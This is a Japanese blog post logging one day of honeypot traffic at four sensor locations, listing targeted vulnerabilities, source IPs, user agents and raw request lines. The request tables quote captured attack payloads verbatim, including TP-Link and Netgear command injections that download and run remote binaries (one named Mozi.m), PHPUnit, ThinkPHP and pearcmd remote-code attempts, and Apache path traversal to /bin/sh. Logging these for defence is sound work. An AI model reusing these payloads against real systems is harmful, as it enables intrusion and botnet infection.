コンニチハレバレトシタアオゾラ

つれづれなるままに、日暮らし、ぶろぐにむかひて、心にうつりゆくよしなしごとを、そこはかとなく書きつくれば、

2024/06/09 ハニーポット(仮) 観測記録

honeypot

ハニーポット(仮) 観測記録 2024/06/09分です。

特徴
共通

GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
Spring Bootの脆弱性を狙うアクセス
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

NetGear製品の脆弱性を狙うアクセス
TP-Link製品の脆弱性を狙うアクセス
CensysInspectによるスキャン行為
curlによるスキャン行為
reqによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為

を確認しました。

Location:US

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
D-link製品の脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
TP-Link製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
curlによるスキャン行為
.cssへのスキャン行為
.jsへのスキャン行為
Gh0stRATのような動き
UserAgentがHello, Worldであるアクセス

を確認しました。

Location:UK

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
TP-Link製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
reqによるスキャン行為
/.gitへのスキャン行為

を確認しました。

Location:SG

Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
CensysInspectによるスキャン行為
curlによるスキャン行為
reqによるスキャン行為
.jsへのスキャン行為
/.gitへのスキャン行為
Apache Solrへのスキャン行為

を確認しました。

他
アクセス数推移

JP：総アクセス数：91 (前日比：-457)
US：総アクセス数：216 (前日比：-280)
UK：総アクセス数：195 (前日比：102)
SG：総アクセス数：135 (前日比：-7)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 1.24.16.74 China
1 13.91.179.188 United States
1 45.56.108.128 United States
1 45.79.181.94 United States
1 45.128.232.174 Bulgaria
1 61.3.107.201 India
1 65.49.1.18 United States
3 74.82.47.5 United States
1 78.153.140.177 Russia
1 79.110.62.2 Bulgaria
2 84.54.51.37 Bulgaria
1 87.121.69.52 Bulgaria
12 91.223.3.149 Poland
1 94.156.65.209 Bulgaria
1 94.156.71.91 Bulgaria
9 101.32.192.203 Singapore
1 104.192.0.61 United States
6 118.193.44.169 Hong Kong
3 135.125.244.48 France
1 135.125.246.110 France
7 135.125.246.189 France
13 147.182.246.193 United States
3 154.38.179.204 United States
1 162.243.141.30 United States
1 165.22.124.96 United States
2 165.154.162.212 Hong Kong
1 167.94.145.105 United States
3 185.254.196.173 Ukraine
1 188.166.149.88 United States
3 192.3.64.146 United States
1 196.65.177.220 Morocco
1 198.46.154.148 United States
2 198.235.24.201 United States
2 205.210.31.17 United States
1 206.168.34.36 United States

UserAgent一覧

件数 UserAgent
15 -
8 Go-http-client/1.1
1 Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30
6 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
3 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
9 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.78
1 Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
16 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
2 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 (iPad; CPU OS 15_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6,2 Mobile/15E148 Safari/604.1
1 Mozilla/5.0 zgrab/0.x
1 Mozilla/5.0
1 curl/8.1.2
12 python-requests/2.27.1
1 req/v3 (https[:]//github[.]com/imroc/req)

リクエスト内容一覧

件数 Method Request Protocol
1 MGLNDD_18.179.20.5_80\n
1 \x16\x03\x01\x01\xfa\x01
10 \x16\x03\x01
1 ``
1 CONNECT google[.]com:443 HTTP/1.1
19 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
3 GET //vendor/phpunit/phpunit/src/Util/PHP/XsamXadoo_Box.php HTTP/1.1
3 GET //vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET //vendor/vendor/phpunit/phpunit/src/Util/PHP/XsamXadoo_Box.php HTTP/1.1
3 GET //vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /_profiler/empty/search/results HTTP/1.1
1 GET /actuator/health HTTP/1.1
2 GET /api/.env HTTP/1.1
1 GET /axis2-admin/ HTTP/1.1
1 GET /axis2/ HTTP/1.1
1 GET /axis2/axis2-admin/ HTTP/1.1
1 GET /bundle.js HTTP/1.1
3 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F94[.]156[.]71[.]81%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60) HTTP/1.1
6 GET /favicon.ico HTTP/1.1
1 GET /files/ HTTP/1.1
1 GET /form.html HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
1 GET /info.php HTTP/1.1
2 GET /laravel/.env HTTP/1.1
1 GET /password.php HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http[:]//61[.]3[.]107[.]201:36470/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
1 GET /sitemap.xml HTTP/1.1
1 GET /systembc/password.php HTTP/1.0
1 GET /systembc/password.php HTTP/1.1
1 GET /upl.php HTTP/1.1
1 GET /v3/time HTTP/1.1
1 GET /webui/ HTTP/1.1
9 HEAD /Core/Skin/Login.aspx HTTP/1.1
1 POST /boaform/admin/formLogin HTTP/1.1
1 t3 12.1.2\n
Location:US

送信元IPアドレス一覧

件数 送信元IPアドレス 国
3 4.242.218.76 United States
1 20.118.69.97 United States
1 27.47.2.77 China
43 43.134.75.120 Singapore
1 45.79.181.251 United States
1 45.128.232.174 Bulgaria
1 51.79.25.141 Canada
7 54.36.115.221 France
4 54.37.79.75 France
1 64.62.197.7 United States
1 64.62.197.13 United States
1 64.62.197.16 United States
13 64.225.120.201 United States
1 66.175.213.4 United States
1 66.240.205.34 United States
2 78.153.140.179 Russia
2 83.97.73.245 Germany
3 87.121.69.52 Bulgaria
2 89.190.156.228 United States
2 91.92.244.109 Bulgaria
2 92.249.48.239 Bulgaria
1 104.194.10.106 United States
1 115.231.78.12 China
1 117.204.199.15 India
1 139.59.101.104 Singapore
1 139.59.177.214 Singapore
24 139.144.52.241 United States
2 141.98.11.79 Lithuania
1 143.198.162.135 United States
6 143.198.204.194 United States
2 147.185.132.222 United States
4 157.230.37.129 United States
6 157.230.45.135 United States
1 157.254.164.21 United States
4 165.22.54.194 United States
2 167.71.197.10 United States
2 167.71.201.139 United States
6 167.71.207.184 United States
1 172.104.11.4 United States
1 172.104.11.34 United States
1 172.105.128.13 United States
1 172.169.6.28 United States
1 178.128.44.234 United States
3 192.3.64.146 United States
1 192.155.90.220 United States
1 194.165.16.10 Panama
2 198.235.24.131 United States
43 203.205.9.195 Vietnam
2 206.168.34.188 United States
1 216.218.206.67 United States

UserAgent一覧

件数 UserAgent
48 -
86 Custom-AsyncHttpClient
7 Go-http-client/1.1
1 Hello, World
1 Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727; InfoPath.2)
4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36
1 Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
17 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
2 Mozilla/5.0 zgrab/0.x
17 Mozilla/5.0
16 curl/7.54.0
1 curl/8.1.2
1 xxx

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 Gh0st\xad
1 \x03
15 \x16\x03\x01\x01\x07\x01
1 \x16\x03\x01\x01\xfb\x01
8 \x16\x03\x01\x02
16 \x16\x03\x01
1 ``
6 CONNECT google[.]com:443 HTTP/1.1
2 CONNECT srv57c0d2365c3c[.]korsan[.]me:443 HTTP/1.1
19 GET /.env HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /6qCr HTTP/1.1
1 GET /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000 HTTP/1.1
1 GET /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42 HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /CSS/Miniweb.css HTTP/1.1
1 GET /HNAP1 HTTP/1.1
1 GET /Portal/Portal.mwsl HTTP/1.1
2 GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /__Additional HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /actuator/health HTTP/1.1
2 GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /api/.env HTTP/1.1
2 GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /bundle.js HTTP/1.1
16 GET /cdn-cgi/trace HTTP/1.1
1 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F94[.]156[.]71[.]81%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60) HTTP/1.1
2 GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /druid/index.html HTTP/1.1
4 GET /favicon.ico HTTP/1.1
1 GET /files/ HTTP/1.1
1 GET /form.html HTTP/1.1
1 GET /geoip/ HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
2 GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1
2 GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php HTTP/1.1
2 GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /index/login HTTP/1.1
1 GET /info.php HTTP/1.1
1 GET /laravel/.env HTTP/1.1
2 GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /nmaplowercheck1717796637 HTTP/1.1
2 GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /password.php HTTP/1.1
2 GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /pools/default/buckets HTTP/1.1
1 GET /pools HTTP/1.1
2 GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
2 GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /rest/applinks/1.0/manifest HTTP/1.1
1 GET /robots.txt HTTP/1.1
1 GET /server-status HTTP/1.1
1 GET /systembc/password.php HTTP/1.1
2 GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /upl.php HTTP/1.1
2 GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /webui/ HTTP/1.1
2 GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
2 GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 HEAD / HTTP/1.1
1 POST /GponForm/diag_Form?images/ HTTP/1.1
1 POST /HNAP1/ HTTP/1.0
1 POST /api/v0/id HTTP/1.1
2 POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
2 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
1 POST /scripts/WPnBr.dll HTTP/1.1
1 POST /sdk HTTP/1.1
1 PRI * HTTP/2.0
Location:UK

送信元IPアドレス一覧

件数 送信元IPアドレス 国
43 43.153.0.227 Singapore
1 45.79.128.205 United States
1 45.79.181.94 United States
1 45.79.181.179 United States
1 45.79.181.251 United States
1 52.36.253.216 United States
1 52.228.153.104 United States
15 54.37.79.75 France
1 64.62.156.81 United States
1 64.62.197.21 United States
1 64.62.197.24 United States
1 64.62.197.28 United States
2 78.153.140.177 Russia
1 79.110.62.2 Bulgaria
2 83.97.73.245 Germany
2 84.54.51.37 Bulgaria
1 84.54.51.147 Bulgaria
2 87.121.69.52 Bulgaria
1 91.92.246.103 Bulgaria
2 92.249.48.239 Bulgaria
2 94.156.71.91 Bulgaria
1 134.209.186.172 United States
1 139.59.101.104 Singapore
43 139.198.168.187 China
2 141.98.11.79 Lithuania
1 157.254.164.21 United States
2 165.22.54.194 United States
2 167.71.197.10 United States
2 167.71.207.184 United States
1 172.104.11.34 United States
1 178.62.6.77 United States
1 185.170.144.3 Estonia
2 185.216.71.4 Bulgaria
3 192.3.64.146 United States
1 192.99.7.195 Canada
1 192.241.203.31 United States
1 194.165.16.73 Panama
2 205.210.31.77 United States
2 205.210.31.159 United States
43 212.76.27.39 Kazakhstan

UserAgent一覧

件数 UserAgent
22 -
129 Custom-AsyncHttpClient
7 Go-http-client/1.1
4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.143 YaBrowser/19.7.1.114 Yowser/2.5 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Edg/109.0.1518.78
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
17 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
1 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/110.0
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
1 Mozilla/5.0 zgrab/0.x
5 Mozilla/5.0
1 req/v3 (https[:]//github[.]com/imroc/req)

リクエスト内容一覧

件数 Method Request Protocol
1 -
1 MGLNDD_132.145.66.34_80\n
2 \x03
1 \x16\x03\x01\x01)\x01
1 \x16\x03\x01\x01H\x01
3 \x16\x03\x01\x01\x07\x01
1 \x16\x03\x01\x01\xfc\x01
10 \x16\x03\x01
1 ``
5 CONNECT google[.]com:443 HTTP/1.1
1 CONNECT pro.ip-api[.]com:443 HTTP/1.1
19 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
3 GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /_profiler/empty/search/results HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /actuator/health HTTP/1.1
3 GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /api/.env HTTP/1.1
3 GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
5 GET /cdn-cgi/trace HTTP/1.1
2 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60cd+%2Ftmp%3B+rm+-rf+r%3B+wget+http%3A%2F%2F94[.]156[.]71[.]81%2Fr%3B+chmod+777+r%3B+.%2Fr+tplink%3B+rm+-rf+r%60) HTTP/1.1
3 GET /cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /favicon.ico HTTP/1.1
1 GET /geoserver/web/ HTTP/1.1
3 GET /index.php?lang=../../../../../../../../tmp/index1 HTTP/1.1
3 GET /index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?echo(md5(\"hi\"));?>+/tmp/index1.php HTTP/1.1
3 GET /index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
1 GET /laravel/.env HTTP/1.1
3 GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /lib/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /lib/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /lib/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /phpunit/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /public/index.php?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello HTTP/1.1
3 GET /public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /vendor/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /vendor/phpunit/phpunit/LICENSE/eval-stdin.php HTTP/1.1
3 GET /vendor/phpunit/phpunit/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /vendor/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /webui/ HTTP/1.1
3 GET /workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
3 POST /boaform/admin/formLogin HTTP/1.1
3 POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
3 POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Location:SG

送信元IPアドレス一覧

件数 送信元IPアドレス 国
1 4.211.108.205 United States
1 45.56.108.128 United States
1 45.79.181.179 United States
1 45.79.181.251 United States
1 51.8.223.133 Germany
6 54.37.79.75 France
3 57.129.23.166 France
43 58.216.63.100 China
13 64.225.120.201 United States
1 65.49.1.52 United States
1 65.49.1.58 United States
1 65.49.1.63 United States
1 65.49.20.67 United States
1 66.175.213.4 United States
1 68.183.237.114 United States
2 78.153.140.177 Russia
2 79.110.62.2 Bulgaria
2 83.97.73.245 Germany
1 84.54.51.147 Bulgaria
4 87.121.69.52 Bulgaria
1 91.92.240.88 Bulgaria
1 91.92.244.109 Bulgaria
7 91.92.247.105 Bulgaria
1 92.249.48.239 Bulgaria
2 94.156.71.91 Bulgaria
1 134.122.108.148 United States
2 139.59.211.160 Singapore
1 141.98.11.79 Lithuania
2 147.185.132.153 United States
2 149.40.58.154 United States
2 157.230.45.135 United States
2 157.230.103.69 United States
1 159.65.89.37 United States
1 161.35.165.192 United States
2 162.142.125.198 United States
2 167.71.201.103 United States
2 167.94.146.57 United States
2 167.172.165.223 United States
1 172.104.11.34 United States
1 172.104.11.46 United States
1 172.104.11.51 United States
1 192.155.90.118 United States
1 192.155.90.220 United States
1 193.143.1.88 Russia
1 194.28.224.132 Russia
1 194.165.16.73 Panama
2 198.235.24.143 United States
2 199.45.155.62 United States
2 205.234.144.12 United States

UserAgent一覧

件数 UserAgent
28 -
43 Custom-AsyncHttpClient
18 Go-http-client/1.1
4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15
8 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
2 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
13 Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
3 Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
3 Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)
1 Mozilla/5.0 zgrab/0.x
4 Mozilla/5.0
1 curl/8.1.2
1 python-requests/2.31.0
1 req/v3 (https[:]//github[.]com/imroc/req)

リクエスト内容一覧

件数 Method Request Protocol
1 \x03
1 \x16\x03\x01\x01H\x01
2 \x16\x03\x01\x01\x07\x01
1 \x16\x03\x01\x01\xfb\x01
16 \x16\x03\x01
2 ``
6 CONNECT google[.]com:443 HTTP/1.1
1 CONNECT srv57c0d2365c3c[.]korsan[.]me:443 HTTP/1.1
16 GET /.env HTTP/1.1
1 GET /.git/config HTTP/1.1
1 GET /.remote HTTP/1.1
1 GET /1.php HTTP/1.1
1 GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1
1 GET /V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /_profiler/empty/search/results HTTP/1.1
1 GET /actuator/gateway/routes HTTP/1.1
1 GET /actuator/health HTTP/1.1
1 GET /admin/.git/config HTTP/1.1
1 GET /admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /app/.git/config HTTP/1.1
1 GET /app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
1 GET /application/.git/config HTTP/1.1
1 GET /apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
